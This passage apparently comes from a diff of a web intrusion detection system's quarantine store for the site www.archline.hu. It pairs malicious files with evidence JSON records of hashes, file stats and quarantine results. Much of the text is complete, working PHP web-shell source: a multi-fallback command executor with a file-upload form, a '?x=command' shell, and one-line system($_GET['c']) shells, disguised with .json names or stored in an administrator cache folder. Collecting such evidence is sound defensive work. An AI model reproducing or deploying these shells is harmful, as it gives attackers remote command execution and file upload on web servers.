+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2886",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_t49gsxsb.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783866426,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_t49gsxsb.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2891",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_tgzxhs6h.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783909515,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_tgzxhs6h.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_ts1vwgdw.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_ts1vwgdw.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2918",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_ts1vwgdw.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_ts1vwgdw.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783961714,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_ts1vwgdw.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2837",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_txdr2don.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783865770,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_txdr2don.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2906",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_w2mu1xvl.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783904363,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_w2mu1xvl.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_y7jjlahc.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_y7jjlahc.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2877",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_y7jjlahc.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_y7jjlahc.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783963099,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_y7jjlahc.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_yhdrz7g2.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_yhdrz7g2.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2876",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_yhdrz7g2.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_yhdrz7g2.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783984846,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_yhdrz7g2.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_znv7fh9d.php.json

@@ -0,0 +1 @@
+<?php echo "h3x_hsojrm";system($_GET["c"]);?>

var/www/hosting/archline.hu/www/_h3x_znv7fh9d.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2827",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_znv7fh9d.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_znv7fh9d.php.json)",
+  "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783842128,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_znv7fh9d.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2860",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_zpjfu3nd.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783834298,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_zpjfu3nd.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/administrator/cache/r0ps_3tdj3r.json

@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>

var/www/hosting/archline.hu/www/administrator/cache/r0ps_3tdj3r.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3392",
+  "log_excerpt": "[quarantine] www.archline.hu:administrator/cache/r0ps_3tdj3r.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/administrator/cache/r0ps_3tdj3r.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111942,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "administrator/cache/r0ps_3tdj3r.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/administrator/cache/r0ps_3tdj3r.php.json

@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>

var/www/hosting/archline.hu/www/administrator/cache/r0ps_3tdj3r.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3393",
+  "log_excerpt": "[quarantine] www.archline.hu:administrator/cache/r0ps_3tdj3r.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/administrator/cache/r0ps_3tdj3r.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111922,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "administrator/cache/r0ps_3tdj3r.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/administrator/cache/r0ps_bijdps.json

@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>